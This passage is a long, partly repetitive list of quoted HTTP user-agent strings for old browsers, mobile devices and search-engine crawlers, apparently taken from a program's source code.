'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
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'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
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'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
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'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
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'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
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'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
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'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
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'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
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'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
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'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
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'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
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'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
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'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
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'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
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'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
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'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
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'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
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'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
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'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
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'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
